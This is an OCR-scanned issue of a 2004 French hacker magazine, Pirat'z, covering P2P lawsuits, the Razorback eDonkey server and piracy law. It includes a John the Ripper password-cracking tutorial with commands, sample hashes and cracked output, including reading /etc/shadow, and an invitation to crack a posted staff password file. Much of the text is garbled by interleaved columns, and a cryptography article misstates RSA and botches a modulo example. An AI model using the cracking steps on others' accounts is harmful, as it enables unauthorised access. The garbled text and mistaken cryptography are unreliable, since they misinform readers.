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nous proposer des tas d'avantages futiles WEB :

pour que l'on parle avec enthousiasme de
leurs titres. Vous nous connaissez : pas de
publicité pour les autres. Au contraire,
vous aurez droit a quelques pages de
tests et d'actualité avec, on I'espére, un
éclairage un peu différent des autres.

Et puis, on s'est dit qu'on pourrait aussi
faire profiter nos lecteurs de notre confor-

FLOU ARTISTIQUE

La vague de massacres engagee par les sociétés du
disque continue. Espérant lutter contre le partage de
fichiers, la sociéte civile des producteurs phonogra-
phigues (SCPP) a déposé, lundi 28 juin 2004, une ving-
taine de plaintes contre X, qui, selon le directeur de
 [adite SCPP ne concemerait que les * les plus gros

; i |  pratiquants *.
table aisance. C'est pour ¢a gu'on vous BT ot v A
fait cadeau du premiepr nunféroq de Pirat'z ' Celtri'acuunlsamlrl I;cgll:rsludei;une L) u"dqeﬂs
, B o ' e grande ampleur, la SCPP ayant annoncé que d'autres
qui sera bientdt disponible en télécharge- est édité par PUBLIA - mesures seraient prises en septembre non seulement

2 his rue Dupont de |'Eure 75020 Paris

ment. Bien sir, on ne va pas vous faciliter contre les pratiquants du p2p, mais aussi contre las

la vie : on compte sur vos talents en infor- 5 : fournisseurs d'acces a Intemet.

matique alternative pour vous le procurer. Directeur de Publication : Olivier André . La contrefagon est punie de trois ans de prison et
Ainsi, il sera distribué a heures fixes sur le Rédacteur en chef : de Bazande g??eﬂz?:ﬁ:g;i;ﬂf;ﬂ:;ﬁﬂ::{s:tlrteu::“nl::ﬁepr::
canal konspire2b de Piratz, avec ce logi- Rédaction hack : Espionet  comme telle. Beaucoup de médias, peut-6tre sous Fin-
ciel p2p dont nous vous parlions dans le Conception Graphique : WEEL fluence des majors, font fout pour entretenir ce grand

mechant flou. La situation n‘est pas plus claire du coté
des ventes de disques. On voudrait nous faire croire

dernier numéro. C'est aussi une belle

23 : Courrier des lecteurs : Khan
maniere de démontrer que le peer2peer a

de multiples applications |égales et |giti- IIIustratlonsI: I.B[‘:half(ltll o E;lrzt?gsegmssi:a‘::;ﬁl]:)&ﬂ:td;a:izgﬁ:a:emzqus
24 ' A mprimé en : : , ) ;
Miep o bieeg Benbnon pOUeRe issn en cours, m?mmissinn paritaire en cours, - cette haisse ne soient pas tant due au piratage, mais

davantage @ la popularité montante des autres sup-

depdt légal & parution, ports multimedias, comme Ie Dd par exemple ?

PUBLIA®2004

http://www.espionet.com
]

DE BAZANDE

Plus d'infos sur http://piratz.fr.st,
sur le forum et page 21.

=l FRAMNCE




RARZORBM[RCK 2

LE MILLION, LE MILLION

Les réseaux p2p les plus populaires du moment sont encore largement centrali-
sés, notamment pour permettre les recherches. On ne s’en rend pas forcément
compte, mais ¢a veut dire qu'il faut des gens derriére pour faire tourner la machi-

ne !

passionnés, dont on va vous parler.

as étonnant que l'on parle
Pautant de Sion dans Matrix.

C'est dans cette ville suisse
qu'a son siege Razorback 2, I'un des
plus gros serveurs eDonkey du monde.
Si vous utilisez ed2k ou eMule, vous
vous y étes forcément connecté une fois
ou l'autre. Sachez que ce serveur n'a
qu'un but : atteindre le million d'utilisa-
teurs, et rester le plus gros au monde !
Et accessoirement , nous rendre service
en coordonnant nos centaines de télé-
chargements a la seconde, au prix
d'une bande passante globale impres-
sionnante, et tout ¢a gratuitement.

Il n'y a qu'une poignée de serveurs
qui peuvent prétendre rivaliser avec
Razorback, dont ProbenPrinz ou Byte
Devilz. Ce n'est pas, en effet, a la por-
tée du premier venu. Avec autant d'uti-
lisateurs, on peut dire, si vous me
passez |'expression, qu'ils ont les rou-
teurs qui chauffent. Mais comment font-
ils, me demanderez-vous ?

DU MATOS...

Facile. Il suffit d'avoir une grosse
machine, et une super connexion.
Soyons clairs, une grosse machine, pour
Razorback, c'est un biprocesseur 64bits
a 2.2 gHz, avec 6 Go de ddr et du
disque dur fiable (avec Linux comme
0S, naturellement). Il faut compter
quelques milliers d'euro rien que pour

la mémoire. Quant a la bande passant

utilisée, on peut difficilement faire sans
avoir entre 30 et 50 Mbps (I'équivalent
de plusieurs centaines de modems
ADSL en upload). Ca codte aussi - plus
de 400 euro par mois - et ¢a ne fait
pas pour autant le bonheur du fournis-
seur, on y reviendra.

ET DU POGNON

On le voit, Razorback n'est pas le
genre de hobby que I'on peut se payer
facilement. Les administrateurs comptent
en effet sur deux sortes de financements
extérieurs, comme on le voit sur les
comptes publiés sur leur site intermnet
(http://www.razorback2.com). On veut
nous faire croire que les utilisateurs de
p2p ne sont pas prompts, par définition,
a mettre la main a leur porte-monnaie.
Plus de 1000 euro ont pourtant été
récoltés en moins d'une année, c'est pas
mal. N'hésitez pas, d'ailleurs, a participer
si vous pensez que c'est un projet qui
vous est utile et qui doit perdurer. Nous
savons que les lecteurs de Pirat'z ne sont
pas aussi pingres et hypocrites que ce
que nous pouvons soupgonner des mai-
sons de disques.

L'autre source de revenus, bien sir,
est la publicité qui, pour se faire une
idée, paye plus ou moins les frais de la
connexion Internet. Au final, ¢a tourne
donc plutdt bien. Suffisamment pour
pouvoir envisager d'investir dans du
nouveau matériel.

LES ALEAS

Vous avez peut-étre remarqué que
Razorback avait pourtant tendance a
débloquer quelgue peu depuis fin mai.
Alors méme qu'ils allaient nous annon-
cer le passage de 6 a 12 Go de ram -
étape décisive de cette vaillante ascen-
sion vers le million d'utilisateurs - leur
connexion était coupée pendant
quelques heures. Les habitués du haut-
débit bon marché ne trouvent peut-étre
pas ¢a trés choquant, mais ce n'est
pourtant pas courant pour une

LA CHAINE DE TELECHARGEMENT

Pirat'z encourage l'utilisation du peer2peer pour le partage légal de
I'information. Avant d'avoir des réponses claires sur la Iégalité du téle-
chargement de musique (sans, si possible, devoir comparaitre devant
la justice pour obtenir ces réponses d'un juge), défoulez-vous sur les
fichiers libres de droits ou du domaine public !

Une bonne adresse : la chaine de téléchargement de notre confrere
Ratiatum, soutenue par Razorback.
http://www.ratiatum.com/logitheque.php

Une chose est siire : ce n'est pas Microsoft, mais plutét des bandes de

connexion a ce prix-la. Le fait est que le
nombre croissant de paquets a traiter
(plusieurs milliers toutes les secondes)
commencait & devenir vraiment trop
pesant pour le fournisseur d'acces du
serveur. Il y a peut-étre des maniéres
moins radicales de se faire compren-
dre, mais le fournisseur a finalement fait
un geste qui devrait permettre au ser-
veur de tenir encore quelque temps. L'é-
quipe est cependant toujours a la
recherche d'un nouvel hébergeur a
moins de 600 euro par mois. L'appel
est lancé. (On sait que, mis a part la
DST, vous n'étes sans doute pas tres
nombreux parmi nos lecteurs a avoir
d'énormes connexions a disposition,
mais on ne sait jamais.)

Une fois cette affaire réglée, c'est
une autre surprise qui attend nos amis
de Razorback. La mémoire neuve qu'ils
viennent d'acheter a prix fort n'est pas
compatible avec la carte mére du ser-
veur. Nouveau trouble des services. Et
ce n'est pas tout : maintenant que la
bande passante n'est plus un facteur
négligeable, histoire de ne pas effrayer
une fois de plus leur hébergeur, le com-
portement de certains clients de p2p
est préoccupant. Les LowlD (clients der-
riere un firewall, qui ne peuvent pas
attendre passivement des connexions),
par exemple, génerent sensiblement
plus de trafic que les clients normaux.
Les recherches émises par de tels
clients ont donc été Iégerement bridées,
afin d'en dissuader I'usage. Pire, le nou-
veau client Shareaza, compatible avec
eDonkey, utilise des algorithmes de
recherche particulierement agressifs, au
point que seulement 1% des utilisa-
teurs, ceux qui se servent de ce logiciel,
génére environ un quart du trafic tcp
total du serveur. La aussi, une limite sur
le résultat des recherches a été mis en
place, en attendant des explications des
développeurs de Shareaza.

Malgré tous ces ennuis, Razorback
est toujours d'aplomb et il semble qu'il
reste le plus gros serveur du moment.
N'oubliez pas qu'en plus il est trés fré-
quenté par les partageurs francopho-
nes. Merci a eux, et longue vie a leur
projet !

de Bazande

IGNORER
LA LOI

Nous essayons de vous tenir au

“courant des demiéres nouvelles

concemant les récentes ou futures
Inis inifues que nos amis les poli-
ticiens nous concoctent, mais il faut
hien avouer qu'il est parfois diffici-
| de s'y retrouver. En particulier,
nous attendons toujours |'adapta-
tion francaise de I'EUCD, la directi-
ve européenne réglementant
notamment les mesures technolo-
giques de protection et interdisant
e les contoumer. Nos amis d'Ela-
horate Bytes (les auteurs de Clo-
neCD et CloneDVD) et de CDFreaks
(www.cdfreaks.com) ont eu
pifié, et nous proposent sur
WWW.BUro-copyrights.org  un
condense de la législation euro-
peenne sur le sujet, par pays. Une
petite lecture de la partie dediée a
la France (malheureusement en
anglais, comme le reste du site)
vous rafraichira la mémoire sur les
homeurs qui nous attendent. Si vous
avez un modchip dans votre conso-
le, je vous conseille de ne pas trop
Vous en vanter, vous pouriez hien-
tot 8tre hors-la-loi. .. heureuse-
ment, la France ne semble pas trop
pressée d'appliquer ce projet qui,
nous I'espérons, en restera un lang-
temps.

"l HAVE A DREAM...
CAST EMULATOR"

Beaucoup avancent qu'un émulateur
Dreamcast est tres difficile, voire
impossible & programmer. Quelques
tentatives ont quand méme eu
lieu, par exemple Dreamer
(www.emulatronia.com/dreamer)
ou DCEmu (alumnos.utem.cl/dcemu).
Malheureusement, ces émulateurs
sont loin d'étre capables de faire
tourner le moindre jeu, et seules
quelques démos peuvent étre exe-
cutées. Heureusement, maintenant
il y a Chankast (www.chanka.org)
qui, lui, est déja capable de faire
tourner des jeux ! Les fans de DC
ont donc enfin un espoir.




INFO-PUB
MICROSOFT

Attention, cette news est pure-

ment publicitaire. Microsoft fait:

encore les gros titres en affirmant
son leadership en sécuritd infor-
matique. Gréce a deux failles non
patchées (au moment d'écrire
cette news) dans Intemet Explo-
rer, on peut se faire infecter par un
ver en surfant simplement sur un
site weh. Une fois le ver installé,
I'utilisateur n'aura plus hesoin de
protéger ses mots de passe et ses
numéros de cartes de crédit, puis-
qu'un keylogger les enverra auto-
matiguement vers un serveur
russe ot ils seront soigneusement
conservés. En plus, pas besoin
d'aller sur des sites pirates pour
se faire attraper, puisque le ver
s'attaque automatiquement aux
serveurs HTTP tournant sous
Microsoft IS qui sont vulnérables
a une ancienne faille. Ainsi, vous
pourrez joyeusement vous faire
aveir en vous connectant simple-
ment sur votre site hancaire, ce qui
vous permettra de mettre tout de
suite votre numéro de carte de
crédit dans les mains de la mafia
russe. Voila une nouvelle démons-
tration du savoir-faire de Micro-
soft, qui ne cesse décidément pas
le nous impressionner.

LINDOWS
CONTRE-
ATTAQUE

On vous avait parlé du proces qui
oppose Microsoft & Lindows en
Hollande, le premier reprochant au
second d'utiliser un nom trop pro-
che de Windows. Lindows avait
été condamné & ne plus utiliser ce
nom sur son site web. Mais il ne
s'est pas laissé faire et a obtenu
d'une nouvelle décision de justice
le droit de continuer a utiliser
“ Lindows " comme nom de com-
pagnie. Si Microsoft avait gagné,
cela aurait pu forcer Lindows a
changer de nom dans le monde
entier. Prochain épisode dans * Le
Retour de Billou ",

CRSSEZ JU

Il ne faut pas croire qu'un mot de passe crypté I'est pour tout le monde. Enfin ce
grand classique dans Pirat'z : cracker les fichiers password avec John the Ripper.

out d'abord, il faut nous procu-
I rer ledit logiciel. Téléchargez-le
a I'adresse suivante :

http://www. openwall.com/john/.

Il faut savoir que John the Ripper

(JTR pour les intimes :p) est un soft
sans interface graphique, donc tout en
ligne de commande. Mais pas de pan-
ique, il reste tres simple d'utilisation,
surtout si on a ce numéro de Pirat'z
sous la main.

Une fois téléchargé, pour plus de
facilité, décompressez-le dans un réper-
toire simple d'accés, par exemple
c\john\ avec Win ou /home/user/ avec
Linux. Le répertoire john doit comporter
deux sous répertoires, I'un nommé doc
qui contient la documentation anglaise
relative a JTR, I'autre nommé run qui
contient I'exécutable john.exe.

Allons-y ! Avec l'invite de com-
mande, rendez-vous dans le dossier qui
contient john.exe. Pour cela, tapez cd
c\john\run\.

La syntaxe d'utilisation de JTR doit
toujours commencer par john. Viennent
ensuite les "options" ou "modes", et
enfin la localisation du fichier qui
contient le ou les mots de passe & crac-
ker. Je vais maintenant vous expliquer-les
modes les plus courants de JTR.

MODES
DE CASSAGE

Single est le mode a privilégier
avant tout autre, |l teste les combinai-
sons de passwords les plus utilisées,
dérivées par exemple du nom de |'utili-
sateur. Il assure un bon taux de réus-
site et a l'avantage de ne durer que
quelques secondes. Sa syntaxe est la
suivante :
john -single fichiermdp.txt

L'attaque par dictionnaire est trés
appréciée pour quicongue possede de
bonnes wordlists (listes de mots plus
ou moins courants pouvant étre utilisés
comme mots de passe).

Vous pouvez vous en procurer sur
http://openwall.com, sur http://www.
espionet.com ou en cherchant un poil
sur Google.

La syntaxe est la suivante :

john -wordlistliste fichmdp.ixt

Exemple :

john -wordlist:C:\dico.txt
passwd.txt

Plus redoutable est le mode de
brute-force pur. Son efficacité dépend
bien sir. de la longueur du mot de
passe a cracker, puisqu'il teste toutes

UTILISATION TYPE

Bon allez, un peu de pratique. Nous avons concocté une liste de passwords stan-
dards (du méme genre que I'on trouve dans le .htpasswd qui protege vos pages
web.,}), que nous avons mis dans un fichier appelé pass.txt comme suit :

admin:fdi3Mk7iEXSgk
root:fdXTW8rKnIRD6
sysadmin:bvUXEZIW66J7M
userl:opcnsDeKEQfu6

COMMENCONS :

1) C:\Documents and Seftings\Root>ed ‘c:\Johnivun®

2) C:\John\run=john -single pass.txt

Loaded 4 passwords with 3 different salts (Standard DES [48/64 4K])

admin ~ (admin)

guesses:1 time:0:00:00:00 100% c/s:2245 trying:User1999-user1 196

3) C:\John\vrunxjohn -w:password.Ist pass.bxt

Loaded 4 passwords with 3 different salts (Standard DES [48/64 4K])

12345
jordan

(root)
(sysadmin)

quesses:2 time:0:00:00:00 100% c¢/s:2673 trying:republic-zhongguo

4) C\lohn\run>john -i:alpha pass.txt

Loaded 4 passwords with 3 different salts (Standard DES [48/64 4K])

ks (user1)
Session aborted

EXPLICATIONS :

1) Je me place dans le répertoire qui contient john.exe,

2) Je lance une attaque single, JTR reconnait quatre passwords en DES, mais il

n'en cracke qu'un ("guesses: 1"),

3) Je lance une attaque par dico avec le dictionnaire par défaut de JTR (pass-

word.Ist); JTR en cracke deux,

4) Je fais du brute force avec uniquement des caractéres alphabétiques, le logiciel a
trouve le dernier mot de passe, j'aréte le brute force en appuyant sur CTRL+C.

les possibilités. Il peut durer de
quelques minutes a des décennies.

Syntaxe :
john -incremental:type
fichmdp.txt
La variable "typedechar" indique le
jeu de caractéres a essayer. Ce peut étre
"all" pour tester tous les caractéres pos-
sibles (alphabet+chiffres+spéciaux),
"alpha" pour tester uniquement les let-
tres de I'alphabet occidental, ou "digits"
pour ne tester que des chiffres.
Exemple :
john -incremental:alpha
passwd.txt

Enfin il y a le mode test. C'est un
benchmark qui teste les capacités de
cracking de votre bécane, c'est a dire le
nombre de passwords testés par
seconde. Avec un P3@700mhz couplé
a 512mo de vive, on obtient a peu prés
70'000 essais par seconde pour les
mots de passe Unix standard. Pour
comparaison, on arrive a 1'323 essais

par seconde pour les mots de passe
bsd dérivés de md>5, et 600'000 pour
les mots de passes LM de Windows.
Pour les paresseux du clavier :),
notons qu'’il est possible de remplacer
le mode -wordlist par -w et le mode -
incrémental par -i. Exemple :
john -i:all fichiermdp.txt lancera une
attaque par brute force avec tous les
caractéres.

EN PRATIQUE

Voir 'encadré pour une démo classique
de John.

John The Ripper peut étre optimisé
en fonction de votre processeur. Pour
cela, remplacez 'exécutable john.exe
par celui contenu dans l'archive john-
mmx.zip si vous possédez un proces-
seur mmx (Intel) ou par celui contenu
dans I'archive john-k6.zip si vous pos-
sédez un processeur k6 (AMD). Avec
cela, vous devriez gagner en vitesse de
"brute forcage".

Une autre fonction utile de JTR est
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I'option "-show". Elle permet d'afficher
les mots de passe déja crackés conte-
nus dans un fichier.
Exemple :
john -show fichiermdp.txt

N'oubliez pas non plus que John ne
sert pas a la base a cracker les mots de
passe des autres. Il a été congu pour
les administrateurs systéme qui veulent
vérifier que leurs utilisateurs ont choisi
des passwords solides. Mes amitiés a
tous les sysadmins qui nous lisent.

POUR ALLE®
UN PEU PLUS LOIN

Customiser

JohnThe Ripper a aussi |'avantage d'étre
intégralement paramétrable. Pour cela,
vous pouvez éditer le fichier john.ini situé
dans le dossier run. Comme d'habitude,
les commentaires sont précédés du
signe #, chaque sous-partie du fichier
de configuration est placée entre
[1 ([Options], [List.Rules:Single],
[List.Rules:Wordlist] etc.).

De prime abord, le fichier fait peur :)
mais avec persévérance on peut réelle-
ment moduler John en fonction de l'usage
que l'on veut en faire, d'autant que
chaque instruction est largement com-
mentée. Par exemple, les valeurs MinLen
et MaxLen définissent la longueur mini-
male et maximale du password tandis
que CharCount fixe le nombre maximum
de caracteres différents a essayer lors du
brute force (10 par défaut en mode
i:digits et 26 en mode i:alpha, comme
VOus pouvez le voir).

Sur Linux

La fonction premiére de JTR, ce
pour quoi il a été programmeé, c’est tes-
ter la fiabilité de vos passwords sur une
machine de type linux. Connectez-vous
a la console linux en tant que root et
rendez vous dans le répertoire ol est
placé JTR. Ensuite tapez :
unshadow /etc/passwd
Jetc/shadow > passwd.1

Ce qui va placer vos mots de passe
dans un fichier nommé passwd.1 situé
dans le répertoire de JTR. Commencez
par essayer de cracker vos mots de
passe en langant john passwd.1 sans
options. Ca lance une attaque en mode

>john

>John
alts standard li]

B:8a: Hi B8 crs: 728¢

NProgram FilessJohn_The Rippersrun'
single pa
Stand
trying: Usex
word. \ t pas X
ut DES [48/64 1](]

: 4834 trying: republic zhongguo

::|I|Iu pé

A trying: trunand

John_The _RipperSrun>_

single, puis wordfile et enfin incrémen-
tal par défaut (c'est selon ce que vous
avez défini dans john.ini).

Les passwords crackés sont stockés
dans le fichier john.pot. Vous pouvez les
visualiser en tapant :
john -show passwd.1

Pour vérifier seulement si le compte
root a été cracké, tapez :
john -show -users:0 passwd. 1

Avec cela, vous devriez pouvoir vérifier
que vos passwords sont assez solides
pour résister a ce genre d'attaques.

En plusieurs fois

Il faut également savoir que JTR
peut reprendre un brute force 1a ot il
s'est arrété la fois précédente avant que
vous fermiez la console ou que vous
appuyiez sur CTRL+C (ou avant que
votre chien n'arrache la prise de |'ordi).
Pour cela, tapez "john -restore" et JTR
reprendra la session la ol il s'était
arrété. Visualisez le fichier "restore" dans
le dossier run pour plus d'info.
Paramétres avancés

Si vous faites partie de ceux qui
connaissent un peu le C et veulent établir
un nouveau mode de cracking en plus de
single, wordfile ou incrémental, vous pouvez
le  définir dans la  section

.......

[List External.votremode] en vous aidant du
fichier Rules de la documentation. Vous
pourrez ensuite appeler votre mode
comme Ceci :
john -external:votremotde fichiermdp

Il est également possible de spéci-
fier I'algorithme (si vous le connaissez)
des mots de passe que vous essayez de

cracker grace a l'option -format:algo-
rithme. Utile lorsque le fichier contient
plusieurs types de mots de passe. La
variable algorithme peut prendre la
valeur DES, BSDI (un algorithme qui
appelle 725 fois la fonction des), BF
(BlowFish), ASF (Kerberos), LM (Lan
Manager de Windows) ou encore md5
(sauce BSD).

Attention : par md5, nous dési-
gnons bhien le MD5 utilisé sous FreeBSD
ou OpenBSD, de longueur variable et qui
peut avoir une salt, et non pas le MD5
de 32 caracteres que I'on connait :). Il
faut utiliser un autre logiciel pour crac-
ker ce genre de hash, comme mdcrack.
John en est incapable.

Pour des raisons d'optimisation,
John The Ripper ne peut cracker les
passwords situés dans un fichier qu'a
condition que tous les passwords soient
cryptés dans le méme algorithme.

Vous devriez désormais maitriser
|'utilisation de JTR sur le bout des doigts
1, donc nous allons nous créer un p'tit
fichier batch pour nous simplifier la vie.
Ce fichier va automatiquement et dés
son lancement se placer dans le réper-
toire de John the Ripper et commencer
a cracker un fichier contenant les pass-
words. Vous pouvez retrouver le code
source sur http://piratz.fr.st. Une fois
récupéré, il vous suffit d'adapter les sept
premiéres variables du batch et de
I'exécuter. Mais vous pouvez aussi le
modifier et le personnaliser comme bon
vous semble, il est sous licence GNU J !

Bon voila, j'ai fait le tour de I'utili-
sation de JTR. Ce logiciel vaut vraiment
la peine que I'on s'y intéresse.

Pour vous entrainer, nous avons mis
a votre disposition le fichier mot de
passe des collaborateurs du journal sur

s\John_The

Rippersrany"

y Files\John_The Rippersruns”

notre site. A vous de voir combien vous
pourrez en cracker.

Enjoy, mais pas de folie ;).

JOorDén
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LE COTE OBSCUR
DE LA STARFORCE

Entre StarForce et nous, ce n'est
pas vraiment une histoire d'a-
mour... Aprés avoir dénonce
leurs méthodes info-publicitaires
au goiit douteux, voici que nous
apprenons que leurs demieres
protections installeraient des dri-
vers " cachés ", visibles ungiue-
ment dans le gestionnaire de
périphérigues de Windows. Dri-
vers installés en méme temps
qu'un jeu, a l'insu de I'utilisateur,
et qui ne se désinstallent pas en
méme temps que e jeu. Evidem-
ment, ¢a ne fait pas vraiment plai-
sir aux joueurs, qui aiment savoir
ce qui se passe sur leurs machi-
nes. Mais ce n'est pas tout. Agis-
sant au cceur méme du systeme
d'exploitation, de tels drivers
posent d'autres prohlémes. Cer-
taines personnes ont déja eu des
plantages dus & des interférences
entre ces drivers et d'autres péri-
phériques installés sur leurs appa-
reils. D'autre part, cela signifie que
lorsqu‘une nouvelle version de
Windows (ou de Service Pack)
sortira, les drivers pourront trés
hien ne plus fonctionner, auguel
cas il faudra mettre son jeu a jour.
Voila qui ne va pas inciter les gens
a acheter des jeux protégés par
Starforce. ..

EN PRISON

POUR LA (DEMI) VIE ?

Vous vous souvenez sans doute du
“vol " du code source de Half-Life
2 en 2003, qui avait fait couler
heaucoup d'encre sur les lacunes
en matiere de sécurité chez le
développeur Valve. Apparemment,
ils ont quand méme réussi a
remonter & la source et a trouver
les coupables. Le * leak " serait
lié au trojan * Phathot ", dont |'au-
teur a été amété en mai en Alle-
magne. En juin, plusieurs suspects
ont éte arrétés dans différents
pays, et peuvent maintenant §'at-
tendre a de terribles représailles,
comme un hombardement au pis-
tolet Gluon.




LEN,

PATCH 1.1

Un mois aprés son adoption, notre
bien-aimée Loi sur I'Economie
Numérique continue de faire par-
ler d'elle. Deux points sensibles
ont en effet été revus. Le premier
concerne le délai de prescription
qui intervient notamment dans
I'attaque pour diffamation : si vous
voulez attaguer quelqu'un pour
diffamation suite & une parution
dans la presse, vous devez le faire
dans les trois mois suivant la
panution. Une exception cependant
a été faite pour les publications
internet, le délai est alors porté &
trois mois apres cessation de la
parution. Sachant qu'un texte peut
étre conservé sans limite de dure
(voir la news sur I'archive d inter-
net), cela pose quelques proble-
mes. Finalement, cette * exception
inteet " a donc été eliminée
(pour Iinstant) par le conseil cons-
titutionnel. Seconde honne nou-
velle, la responsahilité des
héhergeurs vis-a-vis du contenu
héhergé se voit engagée unigue-
ment si le contenu d'un site
dénonce est * manifestement illi-
cite *, ceci afin de soulager de
nombreux hébergeurs de leurs
inquiétudes |égitimes.

ERTE

A L' ARNAQUE

Certains éditeurs nous prennent
pour des cons, en tablant sur I'i-
gnorance du grand public pour
vendre des produits inutiles.
Remarquez, & Pirat'z on fait un peu
pareil, mais chuuut. ... Ce dont je
vous parle, ¢'est du logiciel * Ste-
ganos P2P Securise 6 *. Déja qu'il
ne semble jamais y avoir eu de
versions 1 b... Ce logiciel ne
securise  absolument pas la
connexion (qui est la source des
proces aux particuliers dont on
entend parler), seul le contenu du
disque dur étant crypté, ce que
PGPdisk  (www.pgpi.org/pro-
ducts/popdisk) fait tres bien.

B
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FONCTIONS [
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Il fait déja trop chaud ? C'est le moment d'en rajouter. Si vous en avez une, prenez-
vous la téte 5 minutes en la plongeant dans cet article, qui vous expliquera la vraie
nature des mots de passe que I'on vous apprend a cracker dans l'article précédent.
Radical pour briller sur la plage.

n matiére de cryptographie, on
Econsidére un cryptosystéme (un

ensemble d'opérations permet-
tant le cryptage/décryptage) comme
fiable s'il n'y a pas de méthode plus
efficace pour le casser qu'en essayant
toutes les combinaisons de clé possi-
bles (brute-force); en considérant bien
str que I'algorithme est public (et donc
connu de tous). Pour satisfaire cette
contrainte, on utilise généralement une
fonction a sens unique. Par exemple, le
cryptosystéme RSA utilise ce que I'on
appelle le logarithme discret : K=a
mod ¢, qui est considéré comme fonc-
tion a sens unique si les paramétres
sont bien choisis : il est simple de cal-
culer K en fonction de ab et ¢ (c'est a
dire crypter et décrypter quand on
connait la clé), mais trés difficile de
retrouver b et ¢ en connaissant a et K.

PRINCIPE THEORIQUE

Plus théoriquement, une fonction &
sens unique permet de calculer M’ en
fonction-de M, et cela trés facilement,
tandis que le calcul de M en fonction
de M’ par la fonction inverse est impos-
sible (& moins de tester toutes les pos-

sibilités de M), En notation mathéma-
tique : f(M)=M’ avec f non inversible.

Ce genre de fonction est bien utile,
et voici un exemple d'utilisation.

Prenons un programme autorisant
certaines personnes a accéder a des
ressources sensibles. Ce programme
crypte le mot de passe entré par I'utili-
sateur avec une clé spéciale et un algo-
rithme connu (TDES, DES, ou autre) et
stocke le crypté sur le disque. Lors de
I'authentification, il décodera le mot de
passe, comparera celui entré par I'utili-
sateur au mot de passe décrypté, et
autorisera ou non l'accés aux ressour-
ces. Ici, la clé doit étre connue du pro-
gramme. Elle peut étre stockée dans le
code méme (c'est pas trés sécurisé tout
¢a, mais ce n'est qu’un exemple bien
sOr...). Un attaquant peut donc, en dés-
assemblant le code, retrouver la clé uti-
lisée et décrypter les mots de passes
stockés s'il arrive & accéder par un quel-
conque moyen au fichier stockant ces
mots de passes. Cette méthode n’est
donc pas siire du tout. C'est d'autant
plus dangereux qu'un utilisateur risque
d'utiliser le méme mot de passe pour
protéger autre chose. On ne parle méme
pas de la fiahilité de 'administrateur,

>
Fonction de clé

——— Fonction principale ¢——

Figure 1

qui a bien sdr acces a toutes ces don-
nées. Notons également qu'historique-
ment, les mots de passes Unix cryptés
étaient lisibles par tous. Comment faire
pour que méme si I'on a acces a tout,
on ne puisse pas en déduire les mots
de passe des utilisateurs ?

Supposons maintenant que ce
méme programme utilise un autre
procédé. Imaginons qu'il utilise une
fonction & sens unique. Il stockerait
donc le mot de passe crypté par cette
fonction tout en sachant qu'il ne pourra
pas le décrypter. Cependant ce n’est
pas bien grave, car pour authentifier un
utilisateur, il aurait juste a crypter le mot
de passe entré par celui-ci avec la
méme fonction a sens unique, et com-
parer les résultats. S'ils correspondent,
alors ['utilisateur est identifié. Et |'atta-
quant ne peut pas décrypter le mot de
passe de I'utilisateur.

Lexemple le plus connu est I'algo-
rithme MDS5, trés utilisé sur le Web pour
coder vos mots de passe sur les forums
par exemple. Avec ce type de cryptage,
le pirate (ou méme |'administrateur peu
scrupuleux) qui aurait accés a la base
de données I'aurait dans I'os, parce
qu'il ne pourrait pas connaitre votre mot
de passe "en clair".




Les fonctions & sens unique
doivent par contre étre congues avec
soin et vérifier certains critéres pour
assurer une bonne protection :

- La complexité du calcul doit &tre suf-
fisante, afin de compliquer la tache
de I'attaquant lors d'un brute-force.

- Elle doit assurer I'unicité, c'est a dire
qu’il existe un unique M tel que
f(M)=M’, avec M’ fixé.

La partie la plus difficile, lors de la
conception d'une fonction a sens
unique, est I'unicité du crypté. Il faut
s'assurer, mathématiguement ou sta-
tistiquement, qu’aucun autre M puisse
donner M’ par la fonction f (fonction a
sens unique). Lunicité n’est pas obli-
gatoire si le nombre de possibilités est
immense. Cependant, ¢'est une sécu-
rité supplémentaire. Pour s'assurer de
cette unicité, il suffit d'une précaution
élémentaire : les fonctions employées
doivent &tre bijectives, ¢'est a dire qu'a
chaque élément a crypter correspond
un seul élément crypté.

En effet, si deux utilisateurs avaient
(pour des mots de passe a la base dif-
férents) le méme crypté, ils pourraient
s'identifier sur le compte de I'autre per-
sonne sans probléme... a condition de
savoir que cet utilisateur a le méme
crypté qu’eux ce qui limite quand
méme les risques, mais bon, on n'est
jamais trop prudent ;)

Certains algorithmes connus utili-
sent les fonctions a sens unique,
comme le RSA précédemment cité, ou
encore le MD5 comme expliqué ci-des-
sus. Pourtant, ce dernier ne conserve
pas I'unicité, mais il a été prouvé de
maniére probabiliste qu'il y avait peu
de chance de tomber sur un autre clair
donnant le méme crypté.

CONCEPTION _ .
DE FONCTIONS A
SENS UNIQUE

Allez, maintenant que I'on a tout
compris du fonctionnement de ces
fameuses fonctions, nous allons voir
comment les créer. Ce n'est pas si
compliqué que ¢a.

Le principe suivant permet de créer
des fonctions & sens unique a coup
slir, mais ne garantit pas toujours 'uni-
cité, cela dépend en fait des fonctions
employées. La figure 1 vous montre la
technique utilisée.

La fonction & sens unique prend un
message quelconque M, et calcule un
crypté M’.

On peut voir sur le schéma que
cette opération se déroule en deux éta-
pes distinctes :

- une fonction de clé déduit de M une
clé K, appelée "clé dépendante”,

- cette clé sert de clé de cryptage a la
fonction principale qui, elle aussi, est
une fonction quelconque.

Une des fonctions employées (la
fonction principale ou de clé) doit étre
une application non linéaire (la fonc-
tion modulo en est une par exemple).

L’autre fonction peut étre une fonc-
tion classique, linéaire ou non.

A l'arrivée, la succession de ces
deux fonctions donne une fonction glo-
bale, qui est a sens unique mais ne
conserve pas forcément 'unicité.

Essayons de concrétiser la chose
avec un petit exemple mathématique :

0On va prendre pour fonction de clé
la fonction suivante : k=M x 117+113.

Cette fonction est dite linéaire ; on
n’‘aurait aucun mal a retrouver M en
connaissant k.

Par contre, la fonction principale
serait la suivante M'= k mod M.

On utilise ici 'opérateur modulo,
grande star de systémes cryptogra-
phiques tels que RSA, je vous rappelle
rapidement son fonctionnement :

L'opération a modulo b renvoie en
fait le reste entier de la division de a
par b, ¢'est a dire qu'il suffit de faire la
division comme on nous I'apprend en
primaire, en gardant un quotient entier,
et d'en déduire le reste.

Par exemple, pour 17 mod 5 : 12
divisé par 5 donne 3 et il reste 2, donc
17 mod5=2

L’attaquant connait M’ et les fonc-
tions utilisées. Seulement, comment
retrouver k a partir de M’ sans connai-
tre M ? Sachant de plus que k dépend
de M, et que la fonction principale est

Il

SENS UNIPUE

quelconque, la tache est vraiment
ardue. La seule solution est de calcu-
ler M’ pour tous les M possibles.

Ce principe est applicable a tous
types de systémes, autant matriciels
qu'alphabétiques.

ASSE? 3
UNE FONCTION A
SENS UNIQUE

